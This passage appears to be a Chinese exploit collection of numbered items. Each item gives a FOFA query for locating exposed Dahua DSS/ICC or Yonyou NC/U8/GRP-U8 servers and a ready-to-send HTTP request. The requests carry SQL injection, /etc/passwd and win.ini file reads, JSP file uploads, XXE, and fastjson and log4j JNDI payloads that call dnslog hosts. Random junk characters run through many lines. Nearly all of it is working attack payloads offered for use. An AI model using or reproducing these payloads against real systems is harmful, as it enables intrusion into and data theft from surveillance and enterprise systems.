User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
7 o' u8 ]. N2 k2 ]' }$ ^6 LAccept: */*
: }& P8 v+ d3 y9 S3 ^8 RAccept-Language: en
3 Y% X- w7 X5 F, i7 L1 x$ x1 ZAccept-Encoding: gzip
+ Y; _6 {4 Y* f- ]3 e" ^

! t' ^+ D+ ^, r" W( d, y17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
- b+ X# B7 w# G) y. k0 n- mHost: x.x.x.x
0 @+ s3 ]5 [2 x( [7 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

5 t3 ]; U( r7 e9 l. u1 ?  }# V<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
4 b/ x- J- `: B$ p: X. L* P8 o<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
* _% i% B/ q8 O+ f* J      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
4 Y, C6 u% D& l, S. i
& t" C. L8 Q0 @8 j% V& p6 V4 O
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
/ r; T, H( G! _FOFA：app="dahua-DSS"
5 K5 U6 m# M5 g6 QGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
8 b% d4 p" F9 l. IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
( a1 O/ T$ {) `  u$ C7 R# [Accept: */*
Connection: keep-alive

2 s0 n* h3 S! K, _* [+ m; j0 N" m
4 ?9 g" o& G# a# N" v5 b  F2 U2 c+ A
% ?, B* Z( a% t* h) K% {2 d19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
) X' ?" o/ _3 aGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
  V' A# x. ^. _Host:
+ S+ |; L1 i# f( s. n1 Z4 P2 m7 C$ KUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+ O2 c; j: z$ L$ ~" AAccept-Encoding: gzip, deflate
% U/ W' }1 a- f1 PAccept: */*
Connection: keep-alive
2 p* Y3 y4 p0 w/ S5 k; U7 u

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
& R9 a. U) R) H! s7 NUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 Y( ]( A& A/ f( e; w+ EConnection: close
Accept: */*
Accept-Language: en
9 P1 H" H, o) A" m% u" \. e: tAccept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
! r. ]0 _- ?9 j$ _, D0 g* e$ IFOFA：icon_hash="-1935899595"
. e2 w8 v! f* @: o0 X9 `POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
+ @, l7 T4 ?. V+ q6 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* @; M& k1 b* NContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
  n+ _' C) h9 \7 S) d5 @7 k6 O3 W
{
3 R' g8 e4 r8 ^: k8 l"a":{
" G0 g6 J9 X/ W+ K; @   "@type":"com.alibaba.fastjson.JSONObject",
  Y; q/ [2 h' P# M. y5 k    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
2 x1 b& a* p( l% f: ~5 ]% S8 X
$ d1 Z2 v+ c* P  U) Y
; p6 @* |- ^" |) y/ i22. 大华ICC智能物联综合管理平台 log4j远程代码执行
3 {8 A5 L3 \1 }2 K& q  \FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
: U8 r: V, V5 \& V4 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

8 z, d. N) F& e6 |2 @{
"loginName":"${jndi:ldap://dnslog}"
}
; `5 I/ k$ J) l1 W' a) ?


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
. t) Z  J( X9 b  o8 {8 G3 \3 k/ SPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- b8 F& {! a7 v1 `  D) t. t# zHost: your-ip
- m6 Q: M( ?8 J/ N8 H% f3 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: v! C" X: K) C' S. t6 B* A1 EContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
" j/ `" Y7 q0 M2 u
3 [) C& B9 ^5 r8 C- h{
/ T. K7 J* q0 X' F: g1 O    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
( i5 C4 j7 M1 ~5 ^+ d# E8 y" o       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
+ Y. j! D  o5 u' e}
+ G# [+ j3 Q4 j3 H

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
; H. [5 j  z; u$ IPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
2 W0 I0 B$ c; `User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
& V- I' p7 M% ~3 GContent-Length: 449
/ X( c# E, h' |# k  |/ VAccept: */*
Accept-Encoding: gzip
" [* F# y5 F6 x* Q/ w1 dContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
8 O: q; b; f% A5 J/ z
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
6 u5 R$ a+ t+ L/ B
4 |4 f" v" w8 v" p<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

, [( W5 h3 r) L' @4 ?\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
$ |5 `6 m6 z. f7 Z9 b6 F-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

- @9 A/ b" M) t2 I
" ~6 [9 W2 n  q( I5 v/ ]$ w25. 用友NC registerServlet JNDI 远程代码执行
% E, D  y( C2 O9 |" X" uFOFA：app="用友-UFIDA-NC"
5 d( w! K% M( s, w" `- oPOST /portal/registerServlet HTTP/1.1
+ J% x) }2 D; RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
  X3 v: Y; U6 c' t6 |Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
) W6 L' ]8 O7 s4 d- y0 R6 `& DContent-Type: application/x-www-form-urlencoded
% k1 ]5 A+ y- U& q9 y9 g
/ d1 |, @0 r( ptype=1&dsname=ldap://dnslog

. _/ U# `  e$ f) ^  d) }) L
7 W& j3 S8 C9 o/ A; B
; J9 {1 y$ n5 j9 j9 [- V1 I26. 用友NC linkVoucher SQL注入
% L. s8 Z% G7 s8 Y& D9 \* RFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% x9 w2 h" m2 T  L! r- xAccept-Encoding: gzip, deflate
Accept: */*
/ i* Q9 k( q8 M# QConnection: keep-alive
, E( I- L4 q. j1 S+ i. A9 l
6 ?3 V" X- `  c. P
' a3 L) ?5 T) z27. 用友 NC showcontent SQL注入
/ `& z6 a/ @! V5 q6 C, c3 w% ZFOFA：icon_hash="1085941792"
$ f6 ?) V0 ^; N, c* N8 FGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
* i9 |# Z9 s: G. ~8 s' n9 }' r; vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' Z9 l- u3 N* T4 i  Z- EAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
/ j) L9 ?4 H3 _

28. 用友NC grouptemplet 任意文件上传
8 v1 s1 b7 P3 a$ b9 PFOFA：icon_hash="1085941792"
5 l9 C' r# q0 ], T) _POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
2 j  r) H1 Z5 g5 F* B2 fHost: x.x.x.x
' @# }. [% Y+ `/ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
  L6 N; X3 L& c. P------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
5 A# m: {7 \$ g% b. e" A9 O9 ^" O& k0 E
- D) `+ @# D, m2 [
/uapim/static/pages/nc/head.jsp
  y+ w5 d, r: q4 e
29. 用友NC down/bill SQL注入
0 n6 r) j4 w- q( PFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ u* Y8 G  U. W8 c! \GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
9 [" D+ G  o* M+ B1 m0 b  ], THost: your-ip
3 A# \0 G$ T; R! Z: QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
* Y1 u% ]( G6 Q( b( w! eConnection: keep-alive


30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% s+ g( u6 S, i+ \, zPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
4 S! }) e9 p0 S: O, W; p. l8 D8 o4 OContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 _! W0 X% V. L$ f. ~Connection: close
; r; h: \& V2 J( P3 E
------WebKitFormBoundaryH970hbttBhoCyj9V
1 C5 S5 `" ^; R3 n) \Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
: K- C1 L1 o6 h, kContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
$ H5 P$ O( O+ t1 ^0 x: z
8 P9 ?( C3 e1 P& N) V
31. 用友NC runStateServlet SQL注入
# v0 v2 S) |9 P2 I  j8 Rversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ Q( K8 T/ F" L& aHost: host
! b1 {: q1 K7 A$ m( `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
, i: N5 M( m( ]) E6 g# JContent-Type: application/x-www-form-urlencoded
; s  K5 @- \7 J- ?0 W" R. H9 e
$ |5 r* H$ S! I0 \7 _& ?! b7 ]
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
4 @3 z1 s& w. j; F" V- mFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
; I3 }2 A) R; R0 g3 K% R' a; T: rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" j: H/ s9 h$ j1 vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
! T" W2 R5 B- p# ZAccept: */*
Connection: keep-alive
5 Z: h; M# i" ~# n9 V1 S/ p$ K

: L# L% p/ T/ Z- z33. 用友NC downTax/download SQL注入
2 C( _# e5 D- m' ~6 nversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, d) @. q9 h& m5 V7 U. FHost: your-ip
: {' \4 C$ |; v. N: j; \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% K" n( Y1 n8 }) rContent-Type: application/x-www-form-urlencoded
4 q5 {) t" }; p( X: M- MAccept-Encoding: gzip, deflate
- s! a+ j" F/ x+ wAccept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 ~2 H* [2 R9 T! q6 `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
' x& ?" S! r3 P3 H$ q8 SAccept-Encoding: gzip, deflate
1 c( S) h# W0 ^Accept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
2 n! X. L  C4 E8 H8 g- QPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
; a7 n& V' [0 d9 R# W' LUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# N: y( ^3 ~3 h0 Z3 L: IAccept-Encoding: gzip, deflate
Accept: */*
' y; g4 V7 N' P6 x0 k$ y" |Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
2 e- {; s4 J: n/ X& W
<%out.println(1111*1111);%>
+ w6 y' g! l" C3 R6 N# @1 W8 [--fd28cb44e829ed1c197ec3bc71748df0--
: R+ _7 o. b# ~# E
% z1 p% c5 F; W7 |* e
36. 用友NC-Cloud soapFormat XXE
1 H4 g6 z' ^' E! hFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 A9 K. c' w' D8 Z9 qPOST /uapws/soapFormat.ajax HTTP/1.1
4 a, }: H9 q' x+ ^Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
6 p5 r- J( w; D* B8 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 X* D- ]2 d0 }3 ]: nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ L# x) D8 ~0 i9 C, mConnection: close
Content-Type: application/x-www-form-urlencoded
! d9 V( w% p9 d7 \. A+ c& IUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
" p; @4 v- |- Y+ Z$ e
/ J$ U: y0 x4 k! m/ W! a2 A
37. 用友NC-Cloud IUpdateService XXE
" }" [# [, s" T" f5 s& m% v2 sFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
% Q" P, N, T$ g7 P  oHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
3 E! p$ T0 y5 J/ ?% _Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
) Q1 {8 I+ x0 B7 D' R9 k% _2 F  ^<soapenv:Header/>
+ P9 C2 F+ r9 b( h3 y0 R2 b<soapenv:Body>
<iup:getResult>
" K5 Z. ^. O# e& t1 D& S3 A1 I& b<!--type: string-->
" C. E9 s/ R3 t7 i+ R<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
1 q' e# h- g: U/ o


: a) F2 f5 z& @* J; T5 a4 o8 N38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
; Y$ S' i! j; _) V* i  ZPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
! V, z$ |& e0 Q' u2 F: sHost: 192.168.40.131:8088
/ e& r% W( U1 x: z$ P( N* Y# OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
8 p/ {1 Y3 j! C4 t) n9 V% v9 WAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
4 ^3 }5 h, Y5 Y% |7 M5 P
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
8 t) _$ y0 H" |( `  N5 w) m3 T
9 Q- `) f: j: Z  d9 Q4 c
5 |. f# x2 z3 k  N9 [( v2 M' y3 P39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
3 g5 {% f4 n  t. lPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
$ J! p1 k# {( i* S3 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
. q/ f/ n; q* @( Z, QAccept: */*
# }1 v! o" u( oAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
9 P& z; T2 x7 J& h; c
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

! X3 L& ?- k: y+ X: C+ @, I( p
40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
8 o+ V/ R* C; S# l2 v) iHost: x.x.x.x
1 W+ s1 @  y% U0 T. o2 iUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' U) q% m: I  D! v  {8 K; E# rContent-Type: text/xml
- Q7 Y) ?; m' m( tConnection: close
  U$ a1 q. g7 _0 c, o# n1 \
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
; Z! f( @: t7 L( c1 \6 o, O. vGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
: t- C7 w7 O' L+ sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
8 \- [; K. T1 @0 I. K7 l9 fConnection: close
9 b) |7 Z. \9 s* ^; A6 n2 B+ a2 n

* }- Y- U, [$ v: w42. 用友GRP-U8 SmartUpload01 文件上传
) l8 O8 @8 z1 IFOFA：app="用友-GRP-U8"
$ Y( D  z3 [; O( I" `POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
7 o; R" E8 E1 S; l& gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
# I# k' J2 c2 a) m# O  t9 R
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
8 [# m* |: E7 J$ lFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
* @8 S4 S) l! i9 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. Z* x. T5 |, ~" p4 j$ X; hAccept-Encoding: gzip, deflate
8 Z9 D; L0 f* F  U- f7 MAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
3 G& I. r5 z! x& g. E2 ^Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
$ k. B2 X6 _, j* K; w      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
& h7 [. W* d- M      </ser:getUserNameById>
; g- o! g: g, j) ~- _, h1 Q2 w   </soapenv:Body>
; f) a6 j- Y" z% x</soapenv:Envelope>
* d9 a0 x, r6 S. D3 T
9 N" j- D1 f0 B, ?  I
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
& _. U2 V* y' ?& c, Q3 C# JGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
  I. H$ O8 O  e3 GHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  M/ C, a( I' W7 F/ o( AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ [" L' S0 @# w/ N( g4 u
; `% L0 o/ K1 I
; ?8 W* a, \" V6 y  G4 R2 F45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
2 A9 F1 p7 Z% dConnection: close
0 D! v7 V* j+ z/ z/ N  iContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
  n# l. U, S2 g) X
& s0 s3 i5 j5 B# b) O! {: DreqData=<?xml version="1.0"?>
: l8 q  w% j/ V/ w; c: W<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

: V& q! b. h* o% l1 l5 |
, G; i: l3 W8 ?1 ]! x46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
- ?) g- {" Y2 f. c5 e+ `GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
5 I" s5 V6 w3 f1 b% e% l8 `% j- VHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
% v" i% N  G4 u" }1 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' Z  W8 h: R3 @. jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 ~( |( k" F+ K* Q  E) K- s
2 c6 z; R! H( O* ~3 `# n& h
9 `% w# Z" D9 z$ H  U47. 用友GRP A++Cloud 政府财务云 任意文件读取
, o3 c5 z0 G5 q0 q7 y+ f- p7 fFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
6 R6 \. n. P% u) R. B" Q! U! [Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
4 T: s0 ~3 ]+ X) h( e9 h

! r- S% a: c9 g- H9 @- w2 H; f
& q" }/ j  A4 L. c3 k+ E48. 用友U8 CRM swfupload 任意文件上传
$ z# l8 @! u. s4 S& CFOFA：title="用友U8CRM"
